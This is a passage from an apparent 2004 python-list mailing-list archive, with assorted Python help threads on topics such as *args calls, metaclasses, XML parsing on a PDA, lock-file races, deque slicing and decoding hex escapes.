> all contain the same 100 MiB file. Directory a/ only has 100 MiB, but a
> naive script will report 300 MiB.

Well, that is a good question.  The primary goal of this script is to
construct lists of files that can be passed to cpio in order to make
multiple volumes of a certain size.  (In my case, efficiently pack
CD-ROM or CD-RW disks.)  The other goal is to minimize splitting of
directory heirarchies between volumes where possible.  So for example, 
given a list of directories:

foo 500M
bar 400M
baz 100M
rab 200M

the script should construct file lists for two volumes:
volume1: foo baz
volume2: bar rab

(Of course, the actual volumes will be larger than 600M to allow for
compression.)

Since each volume should be independent of other volumes, it makes sense
to treat hard links as regular files.  Even though foo/a.txt and
bar/b.txt point to the same file.  A full copy of a.txt and b.txt is
required.  

> Most of the time, you'll want to stay in one filesystem.
>
> You don't want to get stuck in recursive symlinks. If a/b is a symlink
> to a/, you quickly get into an infinite loop.

Good point.  I should check for that.

> Directories have a size too.
>
> What do we do with files we can't read?

At the moment, throw an error and move on.

> In /proc, even stranger subtleties exist which I don't understand -
> ENOENT although listed by listdir() and that sort of thing.
>
> Together with more options, human-readable file sizes and documentation,
> it took be ~200 LOC at
> http://topjaklont.student.utwente.nl/creaties/dkus.py

Thanks!

> Note that du doesn't solve these problems either.

True, but I'm willing to sacrifice some precision for the sake of getting
it done.  Getting volume sizes in the ballpark is good enough.  


> yours,
> Gerrit.
>
> -- 
> Weather in Twenthe, Netherlands 28/09 08:55:
> 	15.0?C mist overcast wind 4.0 m/s SW (57 m above NAP)


-- 
Kirk Job-Sluder
"The square-jawed homunculi of Tommy Hilfinger ads make every day an
existential holocaust."  --Scary Go Round


From martin at v.loewis.de  Sat Sep  4 09:15:06 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 04 Sep 2004 15:15:06 +0200
Subject: extending Python error
In-Reply-To: <mailman.2865.1094303426.5135.python-list@python.org>
References: <mailman.2865.1094303426.5135.python-list@python.org>
Message-ID: <4139bfd3$0$24800$9b622d9e@news.freenet.de>

Ajay wrote:
> C:\Windows CE Tools\wce300\Pocket PC 2002\atl\include\atlbase.h(5395) :
> error C2664: '__WinCE_OutputDebugStringA' : cannot convert parameter 1
> from 'const unsigned short *' to 'const char *'
>         Types pointed to are unrelated; conversion requires
> reinterpret_cast, C-style cast or function-style cast
[...]
> 
> any ideas where the errors are coming from?

Could it be that WCHAR_T is not unsigned short on Windows CE?

Regards,
Martin


From fumanchu at amor.org  Mon Sep 20 18:16:44 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 20 Sep 2004 15:16:44 -0700
Subject: parameter passing question
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF4@exchange.hqamor.amorhq.net>

Micah wrote:
> Basically, I want to be able to call a function on a list of arguments
> without knowing the syntax of the function.  I guess a code 
> example would be
> best:
> 
> -------
> def foo(arg1, arg2):
>     # Do something with arg1 and arg2
> 
> def main():
>     f = foo
>     args = ["hello", "world"]
>     # Want to call foo("hello", "world") using variable f and 
> list args
> --------
> 
> So, what I'm trying to do is call f(args[0], args[1]).  
> However, I want to
> be able to do it with any length argument list.  Given any 
> function f and a
> list of arguments args, I want to be able to call f(args[0], 
> args[1], ...,
> args[n])

Use the variable-arg techniques described in:
http://docs.python.org/ref/function.html

def foo(*args):
    # Do something with arg[0], arg[1], ...

def main():
    f = foo
    args = ["hello", "world"]
    f(*args)


HTH,

Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From me at privacy.net  Fri Sep 24 19:30:28 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 16:30:28 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com>
Message-ID: <0lu8l09suqjh3ugkcka20f3mg3mttig6up@4ax.com>

[A heads up: Post of moderate length and moderate content. :-) ]

Alex Martelli wrote:

> Ksenia Marasanova <ksenia at ksenia.nl> wrote:
>    ...
> > > are discussed there too -- namely, they're hiding folders, drive
> > > names, etc, from the user view, and creating a new and much simplified
> > > user interface.
> > Fortunately, Apple has been working even harder and is already there 
> > with Tiger:
> > http://www.apple.com/macosx/tiger/spotlight.html
> > http://www.apple.com/macosx/tiger/search_finder.html
> 
> Even more fortunately, Apple has learned some lessons over the last 20
> years, so its systems, while quite usable for grampa, do also appeal to
> power users and geeks -- Tiger will seamlessly let you use its wonderful
> search facilities _together_ with good organization of your materials
> (if you take the bother of the latter).  Consider Mail.app: its search
> functionality works across all mailboxes or on a single mailbox --
> you're _still_ encouraged to do a little decent filing of your mails,

It *does* seem necessary to "educate" the database about our own
preferences and styles of organization and the like, as well as
"rating and filing" specific, individual objects. I'm interested in
figuring out ways to make it *very* easy to "add value" to the
database with a more efficient HCI -- unless it's very, very simple to
do (nearly automatic, even ;-) ), the user won't do it.

> though the search does make it more feasible to survive with the popular
> "one big inbox and never bother filing" paradigm;-).  

I'm thinking one database with some auto-indexing helped along with
specific user guidance re the "value-adding" aspect. Without some sort
of fast auto-indexing, of course, and without the easy ability for
user attribute-adding, the "one big box" paradigm could be painfully
slow for precise narrowing of large collections of heterogeneous
objects. Presumably, the above mentioned apps, and Google, of course,
do the auto-indexing part.

> Consider Google:
> it doesn't eliminate the advantage of well-organized, navigable sites,
> even though it gives you a chance of surviving the typical "designed by
> marketing, what's this ``usability'' newfangled thing?!" ones...

Heh. Don't get me started re the latter... ;-)

Apple's work definitely sounds like a step in the right direction. Is
there *complete* integration of *all* object types? 

As I see it, the user should be able to tap a button and change an
email into a snailmail doc, or vice versa, say, with the system
handling the details automagically. And, with a few appropriately set
filters using attributes, sorts, and such, the user should be able to
see all the emails, documents, pics, sounds, flicks, etc. relating to,
for example, "Pink Floyd" -- all in one, narrowed view even though the
objects are of disparate types. 

(Some of my early inspiration was XTREE for DOS from the 1980s --
XTREE provided a global view which could be narrowed; although, things
were still a bit primitive back then.)

I don't have access to the modern Macs -- they sound more interesting
to me than the Wintels I'm using. (Although, pedantically speaking, my
currently not-working Fujitsu laptop uses a Transmeta chip, not an
Intel one.)

Mike Meyer's link to an implementation of Jeff Raskin's work also
sounds quite interesting. I note from scanning the smaller zipfile
referenced in the link some similarity with my own ideas -- no save or
delete, for example, such being either unnecessary or is transparently
handled under-the-covers. 

(I'm having connectivity problems, so I won't be able to review the
implementation of Raskin's "Humane Interface" till I can get wxPython
DL'ed again. Perhaps tonight.)


civilization-wobbling-along'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From mlh at furu.idi.ntnu.no  Sat Sep 11 10:06:00 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Sat, 11 Sep 2004 14:06:00 +0000 (UTC)
Subject: ANN: Python Graph Wiki
References: <slrnck1lc8.181.mlh@furu.idi.ntnu.no>
	<pan.2004.09.10.03.45.48.941822@jerf.org>
Message-ID: <slrnck61i8.9uh.mlh@furu.idi.ntnu.no>

In article <pan.2004.09.10.03.45.48.941822 at jerf.org>, Jeremy Bowers wrote:
>On Thu, 09 Sep 2004 22:13:28 +0000, Magnus Lie Hetland wrote:
>
>> Based on a tiny spark of interest in comp.lang.python, I've created a
>> temporary wiki for chiseling out a possible standard API/protocol for
>> graphs in Python at
>
>I tried to add something but the site isn't accepting it. The server may
>be too slow to run a wiki? I can read from it OK, albeit slowly.

Yes, it seems the machine is quite slow (it was just easier for me to
use it at the moment than my own box...) It does seem to work, though.
Others have been able to add some material. Perhaps you could try
again? (And -- do you have any more specifics on how things failed?)

-- 
Magnus Lie Hetland       The time you enjoy wasting is not wasted time
http://hetland.org                                  -- Bertrand Russel


From maxwell at ldc.upenn.edu  Fri Sep  3 08:12:20 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Fri, 03 Sep 2004 08:12:20 -0400
Subject: sys.stdin.readline()
In-Reply-To: <HBF.20040902bfgi@bombur.uio.no>
References: <367a4461.0408311221.30866c09@posting.google.com>
	<HBF.20040902bfgi@bombur.uio.no>
Message-ID: <ch9mvl$9v0l$1@netnews.upenn.edu>

Hallvard B Furuseth wrote:
> Mike Maxwell wrote:
>>When I invoke readline() in a for loop, why does it return a series of
>>one-char strings, rather than the full line?
>>
>>>>>for sL in sys.stdin.readline(): print sL
> 
> for sL in iter(sys.stdin.readline, ''): print sL,

You just forced me to look at the documentation for iter(), which I had 
previously avoided doing (on the excuse that it was confusing).  Thanks 
for the push!

	Mike Maxwell


From thorsten at thorstenkampe.de  Sat Sep 11 10:10:09 2004
From: thorsten at thorstenkampe.de (Thorsten Kampe)
Date: Sat, 11 Sep 2004 16:10:09 +0200
Subject: if-else-then
References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com>
	<mailman.3180.1094859861.5135.python-list@python.org>
	<848b3711.0409110434.6db93979@posting.google.com>
	<wtv70jefwrtu.dlg@thorstenkampe.de>
Message-ID: <1m7clbr2obvc$.dlg@thorstenkampe.de>

* Thorsten Kampe (2004-09-11 15:56 +0200)
> * TuPLaD (2004-09-11 14:34 +0200)
>> if user type: n, no, nop, nope then print 'You canceled'
>> else
>> if user type: y, ye, yes, yep then print 'We are beginning'
>> 
>> How do i do that ?
> 
> There's a tutor list where people who are constanty bored just wait
> for questions like this.
> 
> Excerpt from a template.py of mine:

In fact my script is a bit stricter than your question: it doesn't
allow 'yep' or 'nononono'. Some utilities allow that (probably with a
reason) and even non localised answers (for instance in German 'j',
'ja' (pronounced 'yaa') would be valid answers, but also 'y', 'ye' and
'yes' are allowed).

If you want that you would only have to ask whether the answer starts
with the same letter as your valid answer.

Thorsten


From hans at zephyrfalcon.org  Thu Sep 23 16:25:31 2004
From: hans at zephyrfalcon.org (Hans Nowak)
Date: Thu, 23 Sep 2004 16:25:31 -0400
Subject: up with PyGUI!
In-Reply-To: <kGE4d.27287$pA.1612653@news20.bellglobal.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org>
	<KgB4d.25594$pA.1567708@news20.bellglobal.com>
	<41530803.3090805@zephyrfalcon.org>
	<kGE4d.27287$pA.1612653@news20.bellglobal.com>
Message-ID: <2jG4d.38$6b6.9@fe61.usenetserver.com>

Nicolas Fleury wrote:
> Hans Nowak wrote:
> 
>> I'm not sure it's *that* much easier... all you're saving is one 
>> parameter.
> 
> 
> Easier is probably not the good word.  It is less redundant and less 
> error-prone.  It has happened to me to make mistakes in ownership of 
> widgets when copy-pasting code, when these errors would not have occured 
> if the parent parameter was not passed.

Admittedly, having to state the parent-child (or container-child) relationship 
twice is redundant.  I am still thinking of ways to make that work better. 
Maybe I'll post some suggestions on my weblog, so people can discuss it there, 
rather than on the newsgroup.

> It is also more usable, since you can do things like:
> myFrame.SetMenuBar(MenuBar([
>     Menu("File", [
>         Item("&New\tCtrl+N", self.onNew),
>         Menu("Some sub menu...", ...)]
>     Menu("Edit", ...)]

In fact, a nested list would suffice here to contain the structure of the whole 
menu.  I have an application that uses just that.  Maybe something that can be 
added as well.

> The problem is that that explicit cross-referencing between parent and 
> child forces the parent to be created before, removing capabilities like 
> that one.

But adding capabilities as well... see my example in a previous post.

Cheers,

--
Hans Nowak (hans at zephyrfalcon.org)
http://zephyrfalcon.org/



From mark at easydns.com  Fri Sep 10 10:02:03 2004
From: mark at easydns.com (Mark Jeftovic)
Date: Fri, 10 Sep 2004 10:02:03 -0400 (EDT)
Subject: [Away From Office] Re: Failure
Message-ID: <20040910140203.D79DC8B7BE@c3po.easydns.com>


I am out of the office until September 17th, 2004.

Please note the following contact info in my absence:

Technical Issues, .CA issues, and ISP level support: 

	contact Tamas Acs, tacs at myprivacy.ca
		 416.535.8672 ext 230

	or 

	contact Simon Carr, scarr at easydns.com
		 416.535.8672 ext 261

General easyDNS Support or Billing issues:

	contact support at easydns.com or billing at easydns.com
		 416.535.8672 ext 2

For Business Development Issues 

	contact John Schmidt, john at easydns.com
		416.535.8672 ext 223

Thanks, and I will talk to you upon my return.

-mark




From theller at python.net  Mon Sep 27 11:24:17 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 27 Sep 2004 17:24:17 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
Message-ID: <3c13hh0e.fsf@python.net>

Jacek Generowicz <jacek.generowicz at cern.ch> writes:

> I would like to write a metaclass which would allow me to overload
> names in the definition of its instances, like this
>
> class Foo(object):
>
>     __metaclass__ = OverloadingClass
>
>     att = 1
>     att = 3
>
>     def meth(self):
>         pass
>
>     def meth(self, arg):
>         return arg
>
>
> I would then like the dictionary received by OverloadingClass.__new__
> to look something like this:
>
> {'att': (1,3),
>  'meth: (<function meth at 0x4018e56c>, <function meth at 0x4018e80c>) }
>
> IOW, each name bound in the class definition should have associated
> with it, a tuple containing all the objects which were bound to that
> name, rather merely keeping the most recent binding for any given
> name.
>
> I was wondering whether it would be possible to achieve this by
> forcing Python to use some dicitonary proxy (which accumulates values,
> rather that keeping just the last value to be associated with a key),
> instead of dict, when executing the class definiton?
>
> Is something like this at all possible in pure Python? or does in
> require fiddling around in the guts of the parser?

It won't work for ordinary attributes, but for overloading methods you
should be able to play some tricks with decorators and sys._getframe().

Thomas


From noone at here.com  Thu Sep 30 13:01:33 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 18:01:33 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
	<cjg4cn$qsc$1@newsg4.svr.pol.co.uk>
	<cjgam4$1of$1@gemini.csx.cam.ac.uk>
Message-ID: <cjhe1o$s8f$1@news8.svr.pol.co.uk>

Hi ,

I must say thankyou to all of you who have helped with this.

They translate the lists fine as I have explained so far, but there are some
problems with the list that I use. I did not explain that what I'm trying to
do is transpose a melody for fear of those of you who do not know music
theory not being able to give me valuable advice (That is if I had explained
all the possibilities - I thought that I had, but didn't ) .

As I said in the lists I have shown so far the transpose works. The problem
is is that a melody could be say ['C', 'E', 'B', 'F'], which should
transpose in the key of G to ['G', 'B', 'F#', 'D'] or in the key of F to
['F', 'A', 'E', 'Bb']

I now have something to work with and again thankyou to all, but if anyone
who understands a bit about music could offer any help I would be grateful.
I thought about trying to explain the problem further for non musicians, but
after I considered the possibility of double shaps and flats I thought it
best to not pester anyone.

Malcolm





From abra9823 at mail.usyd.edu.au  Sun Sep  5 09:28:38 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sun,  5 Sep 2004 23:28:38 +1000
Subject: python from Java
In-Reply-To: <H2E_c.26646$Z14.8654@news.indigo.ie>
References: <mailman.2887.1094353612.5135.python-list@python.org>
	<YIC_c.26633$Z14.8564@news.indigo.ie>
	<mailman.2892.1094385321.5135.python-list@python.org>
	<H2E_c.26646$Z14.8654@news.indigo.ie>
Message-ID: <1094390918.413b1486613f5@www-mail.usyd.edu.au>

thanks a lot for that. its like a wakeup call - i have been looking at too
many things and not giving each enough time. i'll go with the SAX based
parsing and start with element tree.

thanks

cheers

p.s - by interface i meant just a set of "public" functions that you are
supposed to use, no GUI's.


Quoting Alan Kennedy <alanmk at hotmail.com>:

> [Ajay ]
>  >>>can you call a Python application from a Java program?
>
> [Alan Kennedy]
>  >>Define what you mean by "call a python application".
>
> [Ajay]
> > they are on the same machine.
> > basically there is an application that does some user modelling and
> its in
> > Python. the application (bunch of .py scripts) have an interface that
> you
> > use to access user models.
>
> OK, so you have a cpython application which is already running on your
> PDA. Presumably this "interface" you mention is a graphical interface,
> i.e. GUI? What graphics toolkit is this GUI written with? TkInter?
>
> > the java app will simply do some xml stuff at the end of which it will
> > access the user model through the interface.
>
> OK, so you want to process your (P3P?) xml files in java, which will
> extract data and then use that to somehow drive your cpython
> application?
>
> > basically what i'd like to know is if i have
> > #test.py
> > def foo(blah):
> >     return blah += 5
>
> OK, doing the above would be easy, if you could run jython on your PDA.
> You would just use jython to interpret the function instead of cpython,
> and everything would live inside the same virtual machine, which would
> be nice and tidy.
>
> However, it's very likely that your PDA has J2ME, i.e. Java 2 Micro
> Edition, in which case you won't be able to run jython, which requires
> facilities that J2ME doesn't support namely reflection. If you PDA has
> any other version of java, you could run jython.
>
> But that wouldn't be any use to you in the case of your standalone
> cpython GUI application anyway, since it is pretty much guaranteed that
> the GUI code in your cpython code is cpython specific, and won't run on
> jython anyway.
>
> > can i call foo from a Java class? more importantly what would i need
> to
> > install on the machine to be able to do that. the machine in question
> is a
> > PDA so there are some limitations on what can be installed and made to
> run
> > on it. Python runs and so does Java.
>
> Assuming that my assumptions about cpython GUIs and J2ME are correct,
> here are some options you might consider.
>
> 1. Somehow drive your cpython GUI by having your java program generate
> the relevant UI events, e.g. generate mouse-clicks, key-presses, etc.
> This is a common GUI testing technique. A product that does this on
> Windows is "autoit". I don't know if this will work on your windows PDA:
> if not there are probably similar products.
>
> 2. Connect your apps using something like pyro or CORBA. Pyro
> "transports function/method calls" over a socket, from a server to a
> client, and then returns the results over the same socket. If your PDA
> supported J2ME, you could use a pyro server on the cpython end, talking
> to a client on java end. But without J2ME, you can't use pyro on the
> client end. Which leaves CORBA, which should be well supported on both
> ends, but a bit more difficult to get your head around: i.e. you'll have
> a learning curve to climb to get it working. If this approach interests
> you, google "fnorb" or "omniorb python".
>
> 3. If CORBA is too complex for you, roll your own "wire protocol",
> basically your own simple protocol to communicate between cpython and
> java. Using this trategy, open some form of communication channel
> between the two programs, e.g. socket, pipe, fifo, etc, and send
> commands/messages between the two ends.
>
> Having seen your posts here and on the Python-CE list over the last few
> days, I can see that this problem is proving complex for you. I would
> urge you to stop looking at every technology on your PDA and trying to
> figure out how to glue them together.
>
> I think you should focus on being able to process your XML in cpython,
> i.e. try to keep all your technology in the same language and in the
> same process. You're overly complicating it otherwise.
>
> I think the best solution for you is to use and event-based python
> parser to parse your XML. Event based-based parsing, e.g. SAX, is
> generally pretty quick, even when it is written in pure python. The
> slowness you have been experiencing (I saw 10 minutes for pxdom to parse
> your xml files?) is because you're trying to build a DOM, i.e. a
> Document Object Model. DOM's are *huge* memory hogs, requiring very
> substantial amounts of memory and cpu to build, and in most cases are
> completely unsuitable for the problem at hand.
>
> What you should consider is building your own object model, based on the
> events generated by your SAX parser. Although this sounds hard, it is
> actually extremely easy, as this ActiveState cookbook entry shows.
>
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368
>
> There are also multiple cpython products which will build a python
> object model from XML events: all of these should be comparatively cpu
> and memory efficient.
>
> Objectify
> http://gnosis.cx/download/gnosis/xml/objectify
>
> Anobind
> http://uche.ogbuji.net/tech/4Suite/anobind/
>
> ElementTree
> http://effbot.org/downloads/#elementtree
>
> Try out an approach like the one above: it will greatly simplify your
> life. And it should be reasonably efficient in execution time.
>
> If none of the above works for you, post back again.
>
> regards,
>
> --
> alan kennedy
> ------------------------------------------------------
> email alan:              http://xhaus.com/contact/alan
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From grante at visi.com  Mon Sep 20 20:57:10 2004
From: grante at visi.com (Grant Edwards)
Date: 21 Sep 2004 00:57:10 GMT
Subject: MAC address
References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au>
	<200409201005.25963.heikowu@ceosg.de>
	<mailman.3553.1095679406.5135.python-list@python.org>
	<414efed5$0$60631$a1866201@newsreader.visi.com>
	<mailman.3613.1095723708.5135.python-list@python.org>
Message-ID: <414f7c66$0$60638$a1866201@newsreader.visi.com>

On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:
> Quoting Grant Edwards <grante at visi.com>:
>
>> On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote:
>>
>> > its actually windows that i would like to find out about. what
>> > i am trying to do is to anonymize client address by picking a
>> > random MAC address and using that instead
>>
>> That's a pretty bad idea.  If you insist on doing it, read the
>> Ethernet spec so you make sure you're picking a valid address.
>
> and why is it a bad idea?

How are you going to avoid collisions?  I suppose it's a
sufficiently slim probability you can just ignore it.

> also, is there an alternative way to anonymize a client?

Not really, but how could your MAC address be traced to you,
anyway?

-- 
Grant Edwards                   grante             Yow!  What's the MATTER
                                  at               Sid?... Is your BEVERAGE
                               visi.com            unsatisfactory?


From abra9823 at mail.usyd.edu.au  Thu Sep  2 08:40:53 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Thu,  2 Sep 2004 22:40:53 +1000
Subject: design question
In-Reply-To: <E%DZc.26366$Z14.8555@news.indigo.ie>
References: <mailman.2760.1094120772.5135.python-list@python.org>
	<E%DZc.26366$Z14.8555@news.indigo.ie>
Message-ID: <1094128853.413714d5783a1@www-mail.usyd.edu.au>

hi!

there is a W3 standard for expressing privacy policies called P3P. what my
application needs to do is to examine a privacy policy defined by a
service against user preferences for privacy expressed using APPEL.
so eg: my privacy policy could say what sort of data i collect, whats its
used for, how long its kept, whether identifying data is taken, who all
can access the data and so on.
the user can define his preferences as a set of rules. eg: rule 1 may say
dont allow any site that wants my name. rule2 may say block any sites that
take idenitfying data. rule3 may say allow all sites under the domain
www.w3.org. rule4 may say prompt me everytime a service wants data that is
kept for more than 3 days. and so on....

there are a number of p3p user agents that do this. explorer has one i
believe. ibm have something called privacy bird.

so thats what i need to do. i read the policy and preferences as DOM
hierarchies and then starting from rule1 in the preference, i examine it
against the policy.

i have already got it done in python (it was a matter of reimplementing the
evaluator written in Java by an organization called the Joint Research
Centre) and it works fine on a pc. the trouble is using it in a PDA.

cheers


Quoting Alan Kennedy <alanmk at hotmail.com>:

> [Ajay]
> > I am trying to write an application, say myapp, which does some xml
> > processing and then interacts with another application, say app2.
> > App2 is in Python and i can't change it.
>
> Show us a couple of simple examples of the type of XML processing you
> need to do.
>
> There may be simple ways to achieve your goals that don't actually
> require an XML parser at run time, or that would be efficient enough
> given a pure python parser/etc. It depends heavily on what type of XML
> processing you're doing.
>
> --
> alan kennedy
> ------------------------------------------------------
> email alan:              http://xhaus.com/contact/alan
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From albalmer at att.net  Fri Sep  3 14:50:42 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 03 Sep 2004 11:50:42 -0700
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
Message-ID: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>

On Fri, 03 Sep 2004 12:09:30 -0600, Anne & Lynn Wheeler
<lynn at garlic.com> wrote:

>   transportation sectioning requirement because the sections
>        were manufactored in utah

No, because they were *not* manufactured on the launch pad.
Transportation would be required from any other place - in Utah or
not.

Even if they were manufactured on the launch pad, there would be more
than one piece.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From chrisks at NOSPAM.udel.edu  Sat Sep 18 00:20:14 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sat, 18 Sep 2004 04:20:14 GMT
Subject: PyYaml?
Message-ID: <2IO2d.1086$HH5.1025@trndny05>

Is there any benefit to Pickle over YAML? Given that Pickle is insecure, 
wouldn't it make more sense to support a secure serialization format, 
one that's even readable to boot, such as YAML? There's even a pure 
Python implementation at www.pyyaml.org


From sjdevnull at yahoo.com  Thu Sep 30 14:32:04 2004
From: sjdevnull at yahoo.com (G. S. Hayes)
Date: 30 Sep 2004 11:32:04 -0700
Subject: multiple instance on Unix
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>	<415AF802.1080909@bellsouth.net>	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>	<mailman.4130.1096547595.5135.python-list@python.org>
	<mailman.4132.1096549864.5135.python-list@python.org>
Message-ID: <96c2e938.0409301032.252a5969@posting.google.com>

C Ginger <cginboston at hotmail.com> wrote in message news:<mailman.4132.1096549864.5135.python-list at python.org>...
> I know the approach to creating a lock file has been around a long time 
> but there are certain weaknesses to it. There are a number of race 
> conditions in it. For instance if process A detects the directory isn't 
> there it will attempt to create it. During that same time process B 
> might also not find it there - since A hasn't completed its create yet.

The code Nigel posted doesn't have this race.  It (properly) tries to
create the directory (doesn't look at whether the dir exists
beforehand) and checks for success or failure.  That is an atomic
operation.


From ialbert at mailblocks.com  Tue Sep 28 13:45:01 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Tue, 28 Sep 2004 13:45:01 -0400
Subject: re-entering in the normal flow after an exception is raised
In-Reply-To: <Ev6dnX0vG_fjPMTcRVn-jg@giganews.com>
References: <4edc17eb.0409280817.27ef4f43@posting.google.com>
	<Ev6dnX0vG_fjPMTcRVn-jg@giganews.com>
Message-ID: <qsOdnfYHeu2BPsTcRVn-vQ@giganews.com>

Istvan Albert wrote:

> Maybe you could extract the function from the current scope:

heh ... what a stupid circular logic ... since then
it would be directly available anyway ... sorry ...


From steven.bethard at gmail.com  Tue Sep 14 14:28:00 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Tue, 14 Sep 2004 12:28:00 -0600
Subject: deque slicing
Message-ID: <d11dcfba0409141128aa7dcf8@mail.gmail.com>

Anyone know why deques don't support slicing?

>>> from collections import deque
>>> d = deque(i**2 - i + 1 for i in range(10))
>>> d
deque([1, 1, 3, 7, 13, 21, 31, 43, 57, 73])
>>> d[:5]
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: sequence index must be integer
>>> [d[i] for i in range(5)]
[1, 1, 3, 7, 13]

Is there a performance problem with supporting slicing perhaps?

Steve
-- 
You can wordify anything if you just verb it.
        - Bucky Katt, Get Fuzzy


From indigo at bitglue.com  Tue Sep  7 13:37:00 2004
From: indigo at bitglue.com (Phil Frost)
Date: Tue, 7 Sep 2004 13:37:00 -0400
Subject: hex value in string back to real hex value
In-Reply-To: <106645cc.0409070847.40b87e6e@posting.google.com>
References: <106645cc.0409070847.40b87e6e@posting.google.com>
Message-ID: <20040907173700.GB12005@unununium.org>

I'm not sure just what your problem is here. The best solution would be
to make your strings "\xe7" and not "\\xe7". The former contains the
real byte 0xe7, while the latter contains three bytes. When the former
is written to a file, you will get whatever letter 0xe7 represents
depending on what encoding you use.

If you have a reason to not do that (perhaps you are prompting for some
data and want escapes to be recgonized) then you could use something
like this:

a = sys.stdin.readline()
a = eval('"""'+a.replace('"""','"""+\'"""\'+"""')+'"""')

On Tue, Sep 07, 2004 at 09:47:01AM -0700, jack wrote:
> Hi everyone,
> 
> I get in a program an hexa value codes in a string for example \xe7
> which correspond to a french character.
> 
> The string would be "\xe7t\xe7" and I want to write in a file ?t? and
> not \xe7t\xe7.
> 
> Sure I could write a function to analyse the string, find all the hexa
> caracter (because of the \x) and convert the value to decimal and back
> to the correct cahracter.
> 
> Is there something simplier ?
> 
> An example below for generating such a string :
> a=""
> a=a+"\\"
> a=a+"x"
> a=a+"e"
> a=a+"7"
> len(a)= 4 # so it is not understood as the hexa value !!
> a
> "\xe7"
> 
> 
> Thanks in advance.
> 
> Jack.


From deetsNOSPAM at web.de  Wed Sep  1 13:33:23 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Wed, 01 Sep 2004 19:33:23 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<m3n00aggxu.fsf@g2ctech.com>
	<unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com>
	<ch4skh$223$04$1@news.t-online.com>
	<4JmZc.158232$UTP.119324@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <ch514v$cnj$07$1@news.t-online.com>

> I'm not sure what you mean by removing the object as ancestor, but here is
> a modified code similar to Jorge's and it doesn't work:
>     class test:
>         pass
> 
>     class derived(test):
>         def __init__(self):
>                 test.__init__(self)
> 
>     d = derived()
> 
> The call to test.__init__(self) raises an AttributeError exception.

I'm sorry, you're right - I meant to modify the example the way you did, to
check if it works or not. But for some reason I just made it run (which was
more work than expected due to embedded unicode spaces) and then forgot to
actually do what I wanted - remove the (object).

And then it doesn't work, as you correctly observed. Sorry for me beeing
confused.

-- 
Regards,

Diez B. Roggisch


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Sep 14 12:42:27 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 14 Sep 2004 18:42:27 +0200
Subject: Communication between remote scripts
In-Reply-To: <MPG.1bb0babc8d7d2dfa98968d@news2.atlantic.net>
